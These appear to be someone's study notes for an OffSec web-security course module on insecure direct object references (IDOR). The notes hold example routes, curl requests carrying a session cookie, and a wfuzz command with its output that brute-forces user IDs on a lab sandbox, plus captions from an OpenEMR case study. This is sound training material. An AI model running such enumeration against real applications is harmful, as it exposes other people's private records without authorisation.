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        • Module 1: Web Requests
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        • Module 1: macOS Control Bypasses: General Course Information
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        • Module 1: Copyright
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      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
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        • Module 4: Linux Wireless Tools, Drivers, and Stacks
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        • Module 6: Frames and Network Interaction
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        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
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      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
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        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
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        • Module 16: Linux Lateral Movement
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        • Module 20: Combining the Pieces
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        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
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        • Module 15: Windows Lateral Movement
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        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
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On this page
  • Introduction to IDOR
  • Static File IDOR
  • Database Object Referencing (ID-Based) IDOR
  • Exploiting IDOR in the Sandbox
  • Accessing the IDOR Sandbox Application
  • Exploiting Static File IDOR
  • Exploiting ID-Based IDOR
  • Exploiting More Complex IDOR
  • Extra Miles
  • Case Study: OpenEMR
  • Accessing The OpenEMR Case Study
  • Discovery of the IDOR Vulnerability
  • Exploiting the IDOR Vulnerability
  • Extra Mile
Edit on GitHub
  1. Courses
  2. OffSec
  3. WEB-200

Module 15: Insecure Direct Object Referencing

PreviousModule 14: Server-side Request ForgeryNextModule 16: Assembling the Pieces: Web Application Assessment Breakdown

Last updated 5 months ago

Introduction to IDOR

Static File IDOR

Sample routing

/users/:userIdent/documents/:pdfFile
/trains/:from-:to
/book/:year-:author

Routed URI Examples

/users/18293017/documents/file-15 (PDF Retrieved)
/trains/LVIV-ODESSA               (Ticket File Retrieved)
/book/1996-GeorgeRRMartin         (Book Retrieved)

Database Object Referencing (ID-Based) IDOR

Example IDOR for a Database Object

http://idor-sandbox:80/customerPage/?custId=1

Exploiting IDOR in the Sandbox

Accessing the IDOR Sandbox Application

Start the VPN, the VM, and add its IP and hostname to your hosts file.

Exploiting Static File IDOR

Exploiting ID-Based IDOR

Because we retrieved information through the web browser for a separate user entirely that corresponds with a Customer ID value of "2", we can guess this was the second registered user for the web application.

Exploiting More Complex IDOR

Gathering Erroneous Response Sizes

kali@kali:~$ curl -s http://idor-sandbox:80/user/?uid=62718 -w '%{size_download}'
0

We got 0 because we didn't include a valid session ID.

Gathering Erroneous Response Sizes with a Session ID

kali@kali:~$ curl -s /dev/null http://idor-sandbox:80/user/?uid=91191 -w '%{size_download}' --header "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64"
...
2873

Fuzzing 100,000 possible UIDs

kali@kali:~$ wfuzz -c -z file,/usr/share/seclists/Fuzzing/5-digits-00000-99999.txt --hc 404 --hh 2873 -H "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64" http://idor-sandbox:80/user/?uid=FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://idor-sandbox:80/user/?uid=FUZZ
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000011112:   200        76 L     174 W      2859 Ch     "11111"
000016328:   200        76 L     174 W      2860 Ch     "16327"
000023102:   200        76 L     174 W      2874 Ch     "23101"
000039202:   200        76 L     174 W      2867 Ch     "39201"
000041913:   200        76 L     174 W      2861 Ch     "41912"
000057192:   200        76 L     174 W      2863 Ch     "57191"
000062719:   200        76 L     174 W      2871 Ch     "62718"
000074833:   200        76 L     175 W      2868 Ch     "74832"
000083272:   200        76 L     174 W      2858 Ch     "83271"
000099181:   200        76 L     174 W      2866 Ch     "99180"

Total time: 755.6711
Processed Requests: 100000
Filtered Requests: 99990
Requests/sec.: 132.3327

Extra Miles

Do the labs.

Case Study: OpenEMR

Accessing The OpenEMR Case Study

Start the VPN, the VM, and add the IP/hostname to your hosts file.

Discovery of the IDOR Vulnerability

Exploiting the IDOR Vulnerability

Extra Mile

Do the lab.

🦉
Static File IDOR Landing Page
Click "File-Based IDOR"
File-Based IDOR URI
Contents of the file
Setting ?f=2.txt
ID-Based IDOR
The /customerPage/?custId= URI
The Rendered Content
Incrementing the custId Database Parameter by one
Logging in as User Harb
Harb's Data
Gathering a valid session ID
Exfiltrated Data
OpenEMR Landing Page
Login form
Dashboard Panel for OpenEMR
Message Center - Tab
Message Center - Tab Content
Individual Patient Messages
Turning on Burp Suite's Intercept Feature
Clicking Print message
Intercepted Request in Burp Suite
Request in Repeater
Exfiltrated Data for Parameter Value of 11
Trying again with a value of 10